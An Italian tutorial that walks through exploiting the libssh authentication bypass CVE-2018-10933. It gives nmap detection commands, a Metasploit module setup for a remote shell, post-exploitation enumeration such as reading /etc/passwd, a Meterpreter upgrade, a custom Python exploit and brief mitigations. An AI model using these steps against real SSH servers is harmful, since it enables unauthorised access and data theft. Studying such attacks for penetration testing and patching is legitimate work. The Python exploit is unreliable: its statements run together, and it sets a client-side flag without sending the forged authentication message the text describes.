Tutorials

Guida all'Exploitation di un Server SSH Vulnerabile (libssh 0.6.0 - 0.8.0)

In questa guida analizzeremo un caso classico di exploitation su un server SSH vulnerabile che utilizza la libreria libssh nelle versioni dalla 0.6.0 alla 0.8.0. La vulnerabilità CVE-2018-10933 è ben

#exploitation#linux

Guida all'Exploitation di un Server SSH Vulnerabile (libssh 0.6.0 - 0.8.0)

Introduzione

In questa guida analizzeremo un caso classico di exploitation su un server SSH vulnerabile che utilizza la libreria libssh nelle versioni dalla 0.6.0 alla 0.8.0. La vulnerabilità (CVE-2018-10933) è ben nota e sfruttabile per ottenere accesso remoto non autenticato con privilegi elevati.

Descrizione della vulnerabilità

La libreria libssh consente, a causa di una cattiva gestione dello stato interno del protocollo SSH, di bypassare completamente il processo di autenticazione. Un utente malevolo può inviare direttamente un messaggio SSH2_MSG_USERAUTH_SUCCESS al server, facendogli credere che l'autenticazione sia andata a buon fine.

🚧 Questa vulnerabilità NON colpisce OpenSSH, ma solo software che utilizzano la libreria libssh come backend SSH.

Identificazione della vulnerabilità

Enumerazione con Nmap

bash
nmap -p 22 --script ssh2-enum-algos <target-ip>

Verifica della versione del servizio:

bash
nmap -sV -p 22 <target-ip>

Risultato atteso:

bash
22/tcp open  ssh     libssh 0.7.0

Sfruttamento con Metasploit

Modulo disponibile:

bash
auxiliary/scanner/ssh/libssh_auth_bypass

Configurazione del modulo:

bash
use auxiliary/scanner/ssh/libssh_auth_bypass
set RHOSTS <target-ip>
set RPORT 22
set SPAWN_PTY true
run

Il parametro SPAWN_PTY true consente di ottenere una shell più stabile e interattiva.

Post-Exploitation

Una volta ottenuta l'accesso alla shell remota, è possibile:

  • Verificare i privilegi: whoami, id
  • Esplorare il filesystem: ls, cat, cd
  • Enumerare utenti e configurazioni: cat /etc/passwd, netstat -tulnp, ps aux
  • Caricare un payload Meterpreter per sessioni avanzate

Conversione della Shell in Meterpreter

Se si desidera elevare la shell a Meterpreter:

bash
sessions
sessions -u <session_id>

oppure utilizzare:

bash
use post/multi/manage/shell_to_meterpreter
set SESSION <session_id>
run

Approfondimenti Aggiuntivi

Verifica manuale con Python

Esempio di exploit customizzato in Python:

python
import socket
import paramiko

ip = "<target-ip>" port = 22

sock = socket.socket() sock.connect((ip, port))

transport = paramiko.Transport(sock) transport.start_client() transport.auth_successful = True chan = transport.open_session() chan.invoke_shell()

chan.send("whoami\n") print(chan.recv(1024))

Mitigazioni

  • Aggiornare libssh alla versione >= 0.8.1
  • Monitorare accessi SSH sospetti
  • Implementare autenticazione a due fattori dove possibile

Conclusione

L'exploit della vulnerabilità su libssh rappresenta un caso esemplare di come una cattiva gestione dello stato nel protocollo possa portare a gravi falle di sicurezza. È fondamentale includere questo tipo di analisi nelle fasi di vulnerability assessment e penetration test, soprattutto su servizi di accesso remoto.

📅 Tenere sempre aggiornata la lista delle CVE applicabili ai propri asset è una delle pratiche più importanti nel ciclo di vita della sicurezza applicativa.